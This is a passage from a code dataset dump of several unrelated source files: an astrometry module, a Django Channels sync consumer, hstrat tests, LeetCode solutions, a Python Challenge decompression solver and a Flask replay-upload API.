t0=0):\n medRa = np.median(ras)\n medDec = np.median(decs)\n diffRa = (ras-medRa)/mas\n diffDec = (decs-medDec)/mas\n xij = XijSimple(ts-t0, medRa*np.pi/180, medDec*np.pi/180)\n inv = np.linalg.inv(xij.T@xij)\n params = inv@xij.T@np.hstack([diffRa, diffDec])\n if np.isscalar(astError): # scalar astrometric error given\n astError = np.diag(astError*np.ones(2*ts.size))\n if len(astError.shape)==1: # vector astrometric error given\n astError = np.diag(astError)\n paramError = inv@xij.T@(astError**2)@xij@inv\n return params, paramError'''\n\ndef uwe(ts,ras,decs,fitParams,astError=1):\n nTs=ts.size\n medRa = np.median(ras)\n medDec = np.median(decs)\n # Design matrix\n xij = XijSimple(ts, medRa*np.pi/180, medDec*np.pi/180)\n comPath=np.hstack([medRa*np.ones(nTs),medDec*np.ones(nTs)])\n\n dRas=ras-medRa-mas*(xij@fitParams)[:nTs]\n dDecs=decs-medDec-mas*(xij@fitParams)[nTs:]\n diff=np.sqrt(dRas**2 + dDecs**2)\n return np.sqrt(np.sum((diff/(mas*astError))**2)/(nTs-5))\n\ndef period(ps):\n totalMass = ps.M*(1+ps.q)\n return np.sqrt(4*(np.pi**2)*(ps.a**3)/(Galt*totalMass))\n\n# ----------------\n# -On-sky motion\n# ----------------\n\n\ndef XijSimple(ts, ra, dec, t0=0):\n N = ts.size\n bs = barycentricPosition(ts, bjdStart=epoch)\n p0 = np.array([-np.sin(ra), np.cos(ra), 0])\n q0 = np.array([-np.cos(ra)*np.sin(dec), -np.sin(ra)*np.sin(dec), np.cos(dec)])\n xij = np.zeros((2*N, 5))\n xij[:N, 0] = 1\n xij[N:, 1] = 1\n xij[:N, 2] = ts-t0\n xij[N:, 3] = ts-t0\n xij[:N, 4] = -(1/np.cos(dec))*np.dot(bs, p0)\n xij[N:, 4] = -np.dot(bs, q0)\n return xij\n\n\ndef barycentricPosition(time, bjdStart=epoch): # time in years after gaia start (2456863.94 BJD)\n t = time*T + bjdStart\n poss = astropy.coordinates.get_body_barycentric('earth', astropy.time.Time(t, format='jd'))\n xs = poss.x.value # all in AU\n ys = poss.y.value\n zs = poss.z.value\n # gaia satellite is at Earth-Sun L2\n l2corr = 1+np.power(3e-6/3, 1/3) # 3(.003)e-6 is earth/sun mass ratio\n return l2corr*np.vstack([xs, ys, zs]).T\n\n\n# binary orbit\n\n\ndef findEtas(ts, M, a, e, tPeri=0): # finds an (approximate) eccentric anomaly (see Penoyre & Sandford 2019, appendix A)\n eta0s = np.sqrt(Galt*M/(a**3))*(ts-tPeri)\n eta1s = e*np.sin(eta0s)\n eta2s = (e**2)*np.sin(eta0s)*np.cos(eta0s)\n eta3s = (e**3)*np.sin(eta0s)*(1-(3/2)*np.sin(eta0s)**2)\n return eta0s+eta1s+eta2s+eta3s\n\n\ndef bodyPos(pxs, pys, l, q): # given the displacements transform to c.o.m. frame\n px1s = pxs*q/(1+q)\n px2s = -pxs/(1+q)\n py1s = pys*q/(1+q)\n py2s = -pys/(1+q)\n pxls = -pxs*(l-q)/((1+l)*(1+q))\n pyls = -pys*(l-q)/((1+l)*(1+q))\n return px1s, py1s, px2s, py2s, pxls, pyls\n\n\ndef binaryMotion(ts, M, q, l, a, e, vTheta, vPhi, tPeri=0): # binary position (in projected AU)\n delta = np.abs(q-l)/((1+q)*(1+l))\n etas = findEtas(ts, M*(1+q), a, e, tPeri=tPeri)\n phis = 2*np.arctan(np.sqrt((1+e)/(1-e))*np.tan(etas/2)) % (2*np.pi)\n vPsis = vPhi-phis\n rs = a*(1-e*np.cos(etas))\n g = np.power(1-(np.cos(vPhi)**2)*(np.sin(vTheta)**2), -0.5)\n # projected positions in the c.o.m frame (in AU)\n pxs = rs*g*(np.cos(phis)-np.cos(vPsis)*np.cos(vPhi)*(np.sin(vTheta)**2))\n pys = rs*g*np.sin(phis)*np.cos(vTheta)\n # positions of sources 1 and 2 and the center of light\n px1s, py1s, px2s, py2s, pxls, pyls = bodyPos(pxs, pys, l, q)\n # x, y posn of each body and c.o.l.\n # in on-sky coords such that x is projected onto i dirn and y has no i component\n return px1s, py1s, px2s, py2s, pxls, pyls\n\n\n# ----------------------\n# -Utilities\n# ----------------------\n# returns a number to a given significant digits (if extra true also returns exponent)\n\n\ndef sigString(number, significantFigures, extra=False):\n roundingFactor = significantFigures - int(np.floor(np.log10(np.abs(number)))) - 1\n rounded = np.round(number, roundingFactor)\n # np.round retains a decimal point even if the number is an integer (i.e. we might expect 460 but instead get 460.0)\n if roundingFactor <= 0:\n rounded = rounded.astype(int)\n string = rounded.astype(str)\n if extra == False:\n return string\n if extra == True:\n return string, roundingFactor\n\n# generating, sampling and fitting a split normal (see https://authorea.com/users/107850/articles/371464-direct-parameter-finding-of-the-split-normal-distribution?commit=ad3d419474f75af951a55c40481506c5a3d1a5e4)\n\n\ndef splitNormal(x, mu, sigma, cigma):\n epsilon = cigma/sigma\n alphas = sigma*np.ones_like(x)\n alphas[x > mu] = cigma\n return (1/np.sqrt(2*np.pi*sigma**2))*(2/(1+epsilon))*np.exp(-0.5*((x-mu)/alphas)**2)\n\n\ndef splitInverse(F, mu, sigma, cigma): # takes a random number between 0 and 1 and returns draw from split normal\n epsilon = cigma/sigma\n # print(cigma)\n alphas = np.ones_like(F)\n alphas[F > 1/(1+epsilon)] = cigma\n alphas[F < 1/(1+epsilon)] = sigma\n betas = np.ones_like(F)\n betas[F > (1/(1+epsilon))] = 1/epsilon\n return mu + np.sqrt(2*alphas**2)*scipy.special.erfinv(betas*((1+epsilon)*F - 1))\n\n\ndef splitFit(xs): # fits a split normal distribution to an array of data\n xs = np.sort(xs)\n N = xs.size\n Delta = int(N*stdErf) # hardcoded version of erf(1/sqrt(2))\n\n js = np.arange(1, N-Delta-2)\n w_js = xs[js+Delta]-xs[js]\n J = np.argmin(w_js)\n w_J = w_js[J]\n x_J = xs[J]\n\n ks = np.arange(J+1, J+Delta-2)\n theta_ks = (ks/N) - ((xs[ks]-x_J)/w_J)\n\n theta_kms = ((ks-1)/N) - ((xs[ks-1]-x_J)/w_J)\n theta_kps = ((ks+1)/N) - ((xs[ks+1]-x_J)/w_J)\n K = ks[np.argmin(np.abs(theta_ks-np.median(theta_ks)))]\n mu = xs[K]\n sigma = mu-x_J\n cigma = w_J-sigma\n\n beta = w_J/(xs[ks]-x_J)\n phi_ks = ((ks-J)/Delta) - (stdErf*(beta-1)/beta)\n Z = ks[np.argmin(np.abs(phi_ks))]\n\n return xs[Z], sigma, cigma\n\n\n# ----------------------------------------------\n# - Legacy (old code I'm keeping for reference)\n# ----------------------------------------------\n'''\n# T0 - interval between last periapse before survey (2456662.00 BJD)\n# and start of survey (2456863.94 BJD) in days\nT0 = 201.938\n\ndef path(ts,ps,t0=0):\n # need to transofrm to eclitpic coords centered on periapse\n # (natural frame for parralax ellipse) to find on-sky c.o.m motion\n azimuth,polar,pmAzimuth,pmPolar=icrsToPercientric(ps.RA,ps.Dec,ps.pmRA,ps.pmDec)\n # centre of mass motion in pericentric frame in mas\n dAz,dPol=comMotion(ts,polar*np.pi/180,azimuth*np.pi/180,pmPolar,pmAzimuth,ps.pllx)\n # and then tranform back\n ras,decs=pericentricToIcrs(azimuth+mas*dAz,polar+mas*dPol)\n\n # extra c.o.l. correction due to binary\n px1s,py1s,px2s,py2s,pxls,pyls=binaryMotion(ts-ps.tPeri,ps.M,ps.q,ps.l,ps.a,ps.e,ps.vTheta,ps.vPhi)\n rls=mas*ps.pllx*(pxls*np.cos(ps.vOmega)+pyls*np.sin(ps.vOmega))\n dls=mas*ps.pllx*(pyls*np.cos(ps.vOmega)-pxls*np.sin(ps.vOmega))\n\n return ras+rls,decs+dls\n\n# c.o.m motion in mas - all time in years, all angles mas except phi and theta (rad)\n# needs azimuth and polar (0 to pi) in ecliptic coords with periapse at azimuth=0\ndef comMotion(ts,polar,azimuth,muPolar,muAzimuth,pllx):\n taus=2*np.pi*ts+(T0/T)\n tau0=2*np.pi*T0/T\n psis=azimuth-taus\n psi0=azimuth-tau0\n dAs=((ts-AU_c*np.cos(polar)*(np.cos(psis)-np.cos(psi0)\n +e*(np.sin(taus)*np.sin(psis) - np.sin(tau0)*np.sin(psi0))))*muAzimuth\n -(pllx/np.cos(polar))*(np.cos(psis)+e*(np.sin(taus)*np.sin(psis)-np.cos(azimuth))))\n dDs=((ts-AU_c*np.cos(polar)*(np.cos(psis)-np.cos(psi0)\n +e*(np.sin(taus)*np.sin(psis) - np.sin(tau0)*np.sin(psi0))))*muPolar\n -pllx*np.sin(polar)*(np.sin(psis)+e*(np.sin(taus)*np.cos(psis)+np.sin(azimuth))))\n return dAs,dDs\n\n# c.o.m motion in mas - all time in years, all angles mas except phi and theta (rad)\n# needs azimuth and polar (0 to pi) in ecliptic coords with periapse at azimuth=0\ndef comSimple(ts, ra, dec, pmRa, pmDec, pllx, t0=0):\n bs = barycentricPosition(ts)\n p0 = np.array([-np.sin(ra), np.cos(ra), 0])\n q0 = np.array([-np.cos(ra)*np.sin(dec), -np.sin(ra)*np.sin(dec), np.cos(dec)])\n deltaRa = pmRa*(ts-t0) - (pllx/np.cos(dec))*np.dot(bs, p0)\n deltaDec = pmDec*(ts-t0) - pllx*np.dot(bs, q0)\n return mas*deltaRa, mas*deltaDec\n\n# 'pericentric' frame is in the ecliptic plane, with azimuth=0 at periapse\ndef icrsToPercientric(ra,dec,pmra=0,pmdec=0):\n coord=astropy.coordinates.SkyCoord(ra=ra*u.degree, dec=dec*u.degree,\n pm_ra_cosdec=pmra*np.cos(dec*np.pi/180)*u.mas/u.yr,\n pm_dec=pmdec*u.mas/u.yr, frame='icrs')\n bary=coord.barycentrictrueecliptic\n polar=bary.lat.degree\n azimuth=bary.lon.degree+75 # 75° is offset from periapse to equinox\n if (pmra==0) & (pmdec==0):\n return azimuth,polar\n else:\n pmPolar=bary.pm_lat.value # in mas/yr\n pmAzimuth=bary.pm_lon_coslat.value/np.cos(polar*np.pi/180)\n return azimuth,polar,pmAzimuth,pmPolar\ndef pericentricToIcrs(az,pol,pmaz=0,pmpol=0):\n coords=astropy.coordinates.SkyCoord(lon=(az-75)*u.degree, lat=pol*u.degree,\n pm_lon_coslat=pmaz*np.cos(pol*np.pi/180)*u.mas/u.yr,\n pm_lat=pmpol*u.mas/u.yr, frame='barycentrictrueecliptic')\n icrs=coords.icrs\n ra=icrs.ra.degree\n dec=icrs.dec.degree\n if (pmaz==0) & (pmpol==0):\n return ra,dec\n else:\n pmDec=bary.pm_dec.value # in mas/yr\n pmRa=bary.pm_ra_cosdec.value/np.cos(dec*np.pi/180)\n return ra,dec,pmRa,pmDec\n\ndef Xij(ts,phi,theta):\n N=ts.size\n taus=2*np.pi*ts+(T0/T)\n tau0=2*np.pi*T0/T\n psis=phi-taus\n psi0=phi-tau0\n tb=AU_c*np.cos(theta)*(np.cos(psis)-np.cos(psi0)\n +e*(np.sin(taus)*np.sin(psis) - np.sin(tau0)*np.sin(psi0)))\n xij=np.zeros((2*N,5))\n xij[:N,0]=1\n xij[N:,1]=1\n xij[:N,2]=ts-tb\n xij[N:,3]=ts-tb\n xij[:N,4]=-(1/np.cos(theta))*(np.cos(psis)+e*(np.sin(taus)*np.sin(psis)-np.cos(phi)))\n xij[N:,4]=-np.sin(theta)*(np.sin(psis)+e*(np.sin(taus)*np.cos(psis)+np.sin(phi)))\n return xij'''\n","sub_path":"astromet.py","file_name":"astromet.py","file_ext":"py","file_size_in_byte":13607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225740067","text":"from channels.generic.websocket import AsyncJsonWebsocketConsumer\nfrom redis import StrictRedis\nfrom functools import reduce\nfrom hashlib import md5\n\n\nclass SyncListenConsumer(AsyncJsonWebsocketConsumer):\n async def connect(self):\n await self.accept()\n\n async def disconnect(self, close_code):\n pass\n\n async def receive_json(self, content):\n self.token = content[\"token\"]\n self.clid = content[\"origin\"]\n await self.channel_layer.group_add(self.token, self.channel_name)\n\n async def sync_event(self, event):\n if event[\"content\"][\"origin\"] != self.clid:\n await self.send_json(content=event[\"content\"])\n\nclass SyncTellConsumer(AsyncJsonWebsocketConsumer):\n text = \"\"\n redis = StrictRedis()\n md5 = md5()\n\n async def connect(self):\n await self.accept()\n\n async def disconnect(self, close_code):\n pass\n\n async def receive_json(self, query):\n self.token = query[\"token\"]\n self.text = self.redis.get(self.token).decode('UTF-8') if self.redis.get(self.token) else \"\"\n \n if query[\"length\"] > 0: \n for i in range(query[\"length\"]):\n self.text = self.applyChange(self.text, query[\"pull\"][i])\n self.redis.set(self.token, self.text)\n\n await self.channel_layer.group_send(self.token, {\n \"type\": \"sync.event\",\n \"content\": query,\n })\n\n response = {}\n\n if query[\"hashCheck\"] == True:\n self.md5.update(self.text.encode('UTF-8'))\n if query[\"textHash\"] != self.md5.hexdigest():\n response[\"inapt\"] = True\n response[\"refText\"] = self.text\n\n await self.send_json(content=response)\n\n async def sync_event(self):\n pass\n\n @staticmethod\n def applyChange (text, data):\n neu = text.split(\"\\n\")\n\n startRow = data[\"start\"][\"row\"]\n endRow = data[\"end\"][\"row\"]\n startPos = data[\"start\"][\"column\"]\n endPos = data[\"end\"][\"column\"]\n length = len(data[\"lines\"])\n\n if data[\"action\"] == \"insert\":\n left = neu[startRow][:startPos]\n rest = neu[startRow][startPos:]\n neu[startRow] = left + \"\\n\".join(data[\"lines\"]) + rest\n elif data[\"action\"] == \"remove\":\n left = neu[startRow][:startPos]\n rest = neu[endRow][endPos:]\n neu[startRow:endRow + 1] = [left + rest]\n\n return \"\\n\".join(neu)\n\n","sub_path":"Projects/mpsPromCourse2017_32/session/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"335579244","text":"import random\nfrom unittest.mock import MagicMock\n\nimport contexttimer as ctt\nimport numpy as np\nimport pytest\n\nfrom hstrat import hstrat\nfrom hstrat.juxtaposition._impl_column import (\n calc_rank_of_last_retained_commonality_between_generic,\n)\nfrom hstrat.juxtaposition._impl_specimen import (\n calc_rank_of_last_retained_commonality_between,\n)\n\n\n@pytest.fixture\ndef specimens_mock_simple():\n # Create example HereditaryStratigraphicAssemblageSpecimen instances\n # with known values for testing.\n first = MagicMock()\n second = MagicMock()\n first.GetStratumDifferentiaBitWidth.return_value = 8\n second.GetStratumDifferentiaBitWidth.return_value = 8\n first.GetDifferentiaVals.return_value = np.array([5, 6, 7, 8, 9])\n second.GetDifferentiaVals.return_value = np.array([5, 6, 7, 8, 9])\n first.GetNumStrataRetained.return_value = 5\n second.GetNumStrataRetained.return_value = 5\n first.GetNumStrataDeposited.return_value = 5\n second.GetNumStrataDeposited.return_value = 5\n first.GetRankIndex.return_value = np.array([0, 1, 2, 3, 4])\n second.GetRankIndex.return_value = np.array([0, 1, 2, 3, 4])\n return first, second\n\n\ndef test_calc_rank_of_last_retained_commonality_between_mock_simple(\n specimens_mock_simple,\n):\n first, second = specimens_mock_simple\n\n # Test case where there is no disparity.\n assert (\n calc_rank_of_last_retained_commonality_between(\n first, second, confidence_level=0.49\n )\n == 4\n )\n assert (\n calc_rank_of_last_retained_commonality_between(\n first, second, confidence_level=0.9999999999999\n )\n is None\n )\n\n # Test case where there is disparity.\n second.GetDifferentiaVals.return_value = np.array([5, 6, 3, 8, 9])\n assert (\n calc_rank_of_last_retained_commonality_between(\n first, second, confidence_level=0.49\n )\n == 1\n )\n\n\n@pytest.fixture\ndef specimens_mock_complex():\n # Create example HereditaryStratigraphicAssemblageSpecimen instances\n # with known values for testing.\n first = MagicMock()\n second = MagicMock()\n first.GetStratumDifferentiaBitWidth.return_value = 8\n second.GetStratumDifferentiaBitWidth.return_value = 8\n first.GetDifferentiaVals.return_value = np.array([5, 6, 7, 8, 9])\n second.GetDifferentiaVals.return_value = np.array([5, 42, 9, 202])\n first.GetNumStrataRetained.return_value = 5\n second.GetNumStrataRetained.return_value = 4\n first.GetNumStrataDeposited.return_value = 5\n second.GetNumStrataDeposited.return_value = 6\n first.GetRankIndex.return_value = np.array([0, 10, 20, 30, 40])\n second.GetRankIndex.return_value = np.array([0, 20, 40, 50])\n return first, second\n\n\ndef test_calc_rank_of_last_retained_commonality_between_mock_complex(\n specimens_mock_complex,\n):\n first, second = specimens_mock_complex\n\n assert (\n calc_rank_of_last_retained_commonality_between(\n first, second, confidence_level=0.49\n )\n == 0\n )\n\n assert (\n calc_rank_of_last_retained_commonality_between(\n first, second, confidence_level=0.999\n )\n is None\n )\n\n\n@pytest.mark.filterwarnings(\n \"ignore:Insufficient common ranks between columns to detect common ancestry at given confidence level.\"\n)\n@pytest.mark.parametrize(\n \"retention_policy\",\n [\n hstrat.nominal_resolution_algo.Policy(),\n hstrat.fixed_resolution_algo.Policy(fixed_resolution=7),\n hstrat.recency_proportional_resolution_algo.Policy(\n recency_proportional_resolution=2,\n ),\n hstrat.recency_proportional_resolution_algo.Policy(\n recency_proportional_resolution=10,\n ),\n ],\n)\n@pytest.mark.parametrize(\n \"differentia_width\",\n [1, 2, 8, 64, 65],\n)\n@pytest.mark.parametrize(\n \"confidence_level\",\n [0.49, 0.8, 0.95, 0.9999],\n)\n@pytest.mark.parametrize(\n \"uneven_branches\",\n [True, False],\n)\n@pytest.mark.parametrize(\n \"other_pop_member\",\n [True, False],\n)\ndef test_compare_to_generic_column_impl(\n retention_policy,\n differentia_width,\n confidence_level,\n uneven_branches,\n other_pop_member,\n):\n common_ancestors = [\n hstrat.HereditaryStratigraphicColumn(\n stratum_differentia_bit_width=differentia_width,\n stratum_retention_policy=retention_policy,\n )\n ]\n for __ in range(37):\n common_ancestors.append(common_ancestors[-1].CloneDescendant())\n\n for _rep in range(250):\n _ = _rep\n num_total = random.randrange(0, 37)\n\n num_together = random.randrange(num_total + 1)\n assert 0 <= num_together <= num_total\n num_alone = num_total - num_together\n\n left_alone = num_alone\n right_alone = num_alone\n\n common_ancestor = common_ancestors[num_together]\n left = common_ancestor.Clone()\n right = common_ancestor.Clone()\n\n left.DepositStrata(left_alone)\n right.DepositStrata(\n right_alone + uneven_branches * random.randrange(0, 37)\n )\n\n pop = [left, right]\n if other_pop_member:\n pop.append(\n random.choice(common_ancestors).CloneNthDescendant(\n random.randrange(0, 63)\n )\n )\n specimen1, specimen2, *__ = map(hstrat.col_to_specimen, pop)\n\n assert (\n specimen1.GetNumStrataDeposited() == left.GetNumStrataDeposited()\n )\n assert specimen1.GetNumStrataRetained() == left.GetNumStrataRetained()\n assert (\n specimen2.GetNumStrataDeposited() == right.GetNumStrataDeposited()\n )\n assert specimen2.GetNumStrataRetained() == right.GetNumStrataRetained()\n\n assert calc_rank_of_last_retained_commonality_between(\n specimen1, specimen2, confidence_level=confidence_level\n ) == calc_rank_of_last_retained_commonality_between_generic(\n left, right, confidence_level=confidence_level\n )\n\n\ndef test_benchmark():\n common_ancestor = hstrat.HereditaryStratigraphicColumn(\n stratum_differentia_bit_width=8,\n stratum_retention_policy=hstrat.recency_proportional_resolution_algo.Policy(\n recency_proportional_resolution=10\n ),\n ).CloneNthDescendant(100000)\n\n tip1_c = common_ancestor.CloneNthDescendant(100000)\n tip2_c = common_ancestor.CloneNthDescendant(90000)\n\n tip1_s = hstrat.col_to_specimen(tip1_c)\n tip2_s = hstrat.col_to_specimen(tip2_c)\n\n # pre-compile jit outside of timing\n calc_rank_of_last_retained_commonality_between(\n tip1_s,\n tip2_s,\n confidence_level=0.9999,\n )\n\n with ctt.Timer(factor=1000) as t_algo_dstruct:\n for __ in range(10000):\n calc_rank_of_last_retained_commonality_between(\n tip1_s,\n tip2_s,\n confidence_level=0.9999,\n )\n\n # note higher factor and lower repcount\n with ctt.Timer(factor=10000) as t_dstruct:\n for __ in range(1000):\n calc_rank_of_last_retained_commonality_between_generic(\n tip1_s,\n tip2_s,\n confidence_level=0.9999,\n )\n\n with ctt.Timer(factor=1000) as t_vanilla:\n for __ in range(10000):\n calc_rank_of_last_retained_commonality_between_generic(\n tip1_c,\n tip2_c,\n confidence_level=0.9999,\n )\n\n print(f\"t_algo_dstruct={t_algo_dstruct}\")\n print(f\"t_dstruct={t_dstruct} \")\n print(f\"t_vanilla={t_vanilla}\")\n","sub_path":"tests/test_hstrat/test_juxtaposition/test_impl_specimen/test_calc_rank_of_last_retained_commonality_between_specimen_naive.py","file_name":"test_calc_rank_of_last_retained_commonality_between_specimen_naive.py","file_ext":"py","file_size_in_byte":7594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"83146316","text":"# 84. Largest Rectangle in Histogram\n# Hard\n\n# 8266\n\n# 126\n\n# Add to List\n\n# Share\n# Given an array of integers heights representing the histogram's bar height where the width of each bar is 1, return the area of the largest rectangle in the histogram.\n\n \n\n# Example 1:\n\n\n# Input: heights = [2,1,5,6,2,3]\n# Output: 10\n# Explanation: The above is a histogram where width of each bar is 1.\n# The largest rectangle is shown in the red area, which has an area = 10 units.\n# Example 2:\n\n\n# Input: heights = [2,4]\n# Output: 4\n \n\n# Constraints:\n\n# 1 <= heights.length <= 105\n# 0 <= heights[i] <= 104\n\n\n# This solution works:\n\n\nclass Solution:\n def largestRectangleArea(self, heights: List[int]) -> int:\n '''\n for each hight, we find the max area by only including the buildings that are taller than or equal to yourself\n '''\n \n # 1 keep track of the left most (smaller than you) using stack for each element\n stack = []\n left = [0 for _ in range(len(heights))]\n for i in range(len(heights)):\n while stack and heights[stack[-1]] >= heights[i]:\n stack.pop()\n left[i] = 0 if not stack else stack[-1] +1\n stack.append(i)\n \n # 2 keep track of the right most (smaller than you) using stack for each element\n stack = []\n right = [0 for _ in range(len(heights))]\n for i in range(len(heights)-1, -1, -1):\n while stack and heights[stack[-1]] >= heights[i]:\n stack.pop()\n right[i] = len(heights)-1 if not stack else stack[-1] -1\n stack.append(i)\n \n # 3 get the max area\n best = 0\n for i in range(len(left)):\n best = max(best, ((right[i] - left[i] +1 ) * heights[i]))\n return best \n ","sub_path":"lc/review_84.LargestRectangleInHistogram.py","file_name":"review_84.LargestRectangleInHistogram.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"291360823","text":"# Challenge - 21\n# -*- coding: utf-8 -*\n\nimport zipfile, zlib, bz2, gzip\n\nfilePath = \"e:\\WorkSpace\\\\PythonChallenge\\\\\"\nfileName = \"ans-20.zip\"\npw = b\"redavni\"\n\nfiles = zipfile.ZipFile(filePath+fileName, \"r\")\n\n'''\n可以看到,对于不同输入,各个压缩库输出的字节串都各自带有各自的标识头:\nzlib:x\\x9c\nbz2:BZh\ngzip:\\x1f\n'''\nfile = files.infolist()[1].filename\nwith files.open(file, \"r\", pwd=pw) as f:\n content = f.read()\n while True:\n if content.startswith(b'BZh'):\n content = bz2.decompress(content)\n print(\"B\", end=\"\")\n elif content.startswith(b'x\\x9c'):\n content = zlib.decompress(content)\n print(\" \", end=\"\")\n elif content.startswith(b'\\x1f'):\n content = gzip.decompress(content)\n print(\"G\", end=\"\")\n elif content.endswith(b'\\x9cx'):\n content = content[::-1]\n print()\n else:\n break\n print()\n\nprint(content[::-1]) # 'look at your logs'\n\n# copper\n","sub_path":"Challenge-21.py","file_name":"Challenge-21.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"636704354","text":"import logging\nimport os\nimport re\nimport uuid\n\nfrom flask import jsonify, Blueprint, current_app, request, send_from_directory\nfrom werkzeug.utils import secure_filename\n\nfrom backend.blueprints.steam import get_vanity_to_steam_id_or_random_response, steam_id_to_profile\nfrom backend.database.objects import Game\nfrom backend.database.wrapper import player_wrapper\nfrom backend.database.wrapper.stats import player_stat_wrapper\nfrom backend.tasks import celery_tasks\nfrom backend.tasks.utils import get_queue_length\nfrom .errors.errors import CalculatedError, MissingQueryParams\nfrom .service_layers.global_stats import GlobalStatsGraph\nfrom .service_layers.logged_in_user import LoggedInUser\nfrom .service_layers.player.play_style import PlayStyleResponse\nfrom .service_layers.player.player import Player\nfrom .service_layers.player.player_profile_stats import PlayerProfileStats\nfrom .service_layers.player.player_ranks import PlayerRanks\nfrom .service_layers.replay.basic_stats import BasicStatChartData\nfrom .service_layers.replay.replay_positions import ReplayPositions\nfrom .service_layers.replay.match_history import MatchHistory\nfrom .service_layers.replay.replay import Replay\n\nlogger = logging.getLogger(__name__)\n\nbp = Blueprint('api', __name__, url_prefix='/api/')\n\nwrapper = player_stat_wrapper.PlayerStatWrapper(player_wrapper.PlayerWrapper(limit=10))\navg_list, field_list, std_list = wrapper.get_stats_query()\n\n\ndef better_jsonify(response: object):\n \"\"\"\n Improvement on flask.jsonify (that depends on flask.jsonify) that calls the .__dict__ method on objects\n and also handles lists of such objects.\n :param response: The object/list of objects to be jsonified.\n :return: The return value of jsonify.\n \"\"\"\n try:\n return jsonify(response)\n except TypeError:\n if isinstance(response, list):\n return jsonify([value.__dict__ for value in response])\n else:\n return jsonify(response.__dict__)\n\n\n### GLOBAL\n\n@bp.route('/global/replay_count')\ndef api_get_replay_count():\n s = current_app.config['db']()\n count = s.query(Game.hash).count()\n s.close()\n return jsonify(count)\n\n\n@bp.route('/global/queue/count')\ndef api_get_queue_length():\n steps = [0, 3, 6, 9]\n return jsonify({'priority ' + str(k): v for k, v in zip(steps, get_queue_length())})\n\n\n@bp.route('/global/stats')\ndef api_get_global_stats():\n global_stats_graphs = GlobalStatsGraph.create()\n return better_jsonify(global_stats_graphs)\n\n\n@bp.route('/me')\ndef api_get_current_user():\n return better_jsonify(LoggedInUser.create())\n\n\n### PLAYER\n\n@bp.route('player/')\ndef api_get_player(id_or_name):\n if len(id_or_name) != 17 or re.match(re.compile('\\d{17}'), id_or_name) is None:\n # Treat as name\n response = get_vanity_to_steam_id_or_random_response(id_or_name, current_app)\n if response is None:\n raise CalculatedError(404, \"User not found\")\n steam_id = response['response']['steamid']\n return jsonify(steam_id)\n else:\n # Treat as id\n result = steam_id_to_profile(id_or_name)\n if result is None:\n raise CalculatedError(404, \"User not found\")\n return jsonify(id_or_name)\n\n\n@bp.route('player//profile')\ndef api_get_player_profile(id_):\n player = Player.create_from_id(id_)\n return better_jsonify(player)\n\n\n@bp.route('player//profile_stats')\ndef api_get_player_profile_stats(id_):\n player_stats = PlayerProfileStats.create_from_id(id_)\n return better_jsonify(player_stats)\n\n\n@bp.route('player//ranks')\ndef api_get_player_ranks(id_):\n player_ranks = PlayerRanks.create_from_id(id_)\n return better_jsonify(player_ranks)\n\n\n@bp.route('player//play_style')\ndef api_get_player_play_style(id_):\n play_style_response = PlayStyleResponse.create_from_id(id_)\n return better_jsonify(play_style_response)\n\n\n@bp.route('player//match_history')\ndef api_get_player_match_history(id_):\n page = request.args.get('page')\n limit = request.args.get('limit')\n\n if page is None or limit is None:\n missing_params = []\n if page is None:\n missing_params.append('page')\n if limit is None:\n missing_params.append('limit')\n raise MissingQueryParams(missing_params)\n match_history = MatchHistory.create_from_id(id_, int(page), int(limit))\n return better_jsonify(match_history)\n\n\n### REPLAY\n\n@bp.route('replay/')\ndef api_get_replay_data(id_):\n replay = Replay.create_from_id(id_)\n return better_jsonify(replay)\n\n\n@bp.route('replay//basic_stats')\ndef api_get_replay_basic_stats(id_):\n basic_stats = BasicStatChartData.create_from_id(id_)\n return better_jsonify(basic_stats)\n\n\n@bp.route('replay//positions')\ndef api_get_replay_positions(id_):\n positions = ReplayPositions.create_from_id(id_)\n return better_jsonify(positions)\n\n \n@bp.route('replay/group')\ndef api_get_replay_group():\n ids = request.args.getlist('id[]')\n session = current_app.config['db']()\n stats = wrapper.get_group_stats(session, ids)\n session.close()\n return better_jsonify(stats)\n\n\n@bp.route('/replay//download')\ndef download_replay(id_):\n return send_from_directory(current_app.config['REPLAY_DIR'], id_ + \".replay\", as_attachment=True)\n\n\n@bp.route('/upload', methods=['POST'])\ndef api_upload_replays():\n uploaded_files = request.files.getlist(\"replays\")\n logger.info(f\"Uploaded files: {uploaded_files}\")\n if uploaded_files is None or 'replays' not in request.files or len(uploaded_files) == 0:\n raise CalculatedError(400, 'No files uploaded')\n\n for file in uploaded_files:\n file.seek(0, os.SEEK_END)\n file_length = file.tell()\n if file_length > 5000000:\n continue\n if not file.filename.endswith('replay'):\n continue\n file.seek(0)\n ud = uuid.uuid4()\n filename = os.path.join(current_app.config['REPLAY_DIR'], secure_filename(str(ud) + '.replay'))\n file.save(filename)\n celery_tasks.parse_replay_task.delay(os.path.abspath(filename))\n return 'Replay uploaded and queued for processing...', 202\n\n\n@bp.errorhandler(CalculatedError)\ndef api_handle_error(error: CalculatedError):\n response = jsonify(error.to_dict())\n response.status_code = error.status_code\n return response\n","sub_path":"backend/blueprints/spa_api/spa_api.py","file_name":"spa_api.py","file_ext":"py","file_size_in_byte":6357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"554179064","text":"\"\"\"\nREVISIT: The logic is straightforward, but a bit lost on the concept\n if it were to come up in an interview it would trip me up pretty badly.\nQuestion: https://leetcode.com/problems/k-empty-slots/\n\nYou have N bulbs in a row numbered from 1 to N. Initially, all the bulbs are turned off.\nWe turn on exactly one bulb everyday until all bulbs are on after N days.\n\nYou are given an array bulbs of length N where bulbs[i] = x means that on the (i+1)th day,\nwe will turn on the bulb at position x where i is 0-indexed and x is 1-indexed.\n\nGiven an integer K, find out the minimum day number such that there exists two turned on\nbulbs that have exactly K bulbs between them that are all turned off.\n\nIf there isn't such day, return -1.\n\n\n\nExample 1:\n\nInput:\nbulbs: [1,3,2]\nK: 1\nOutput: 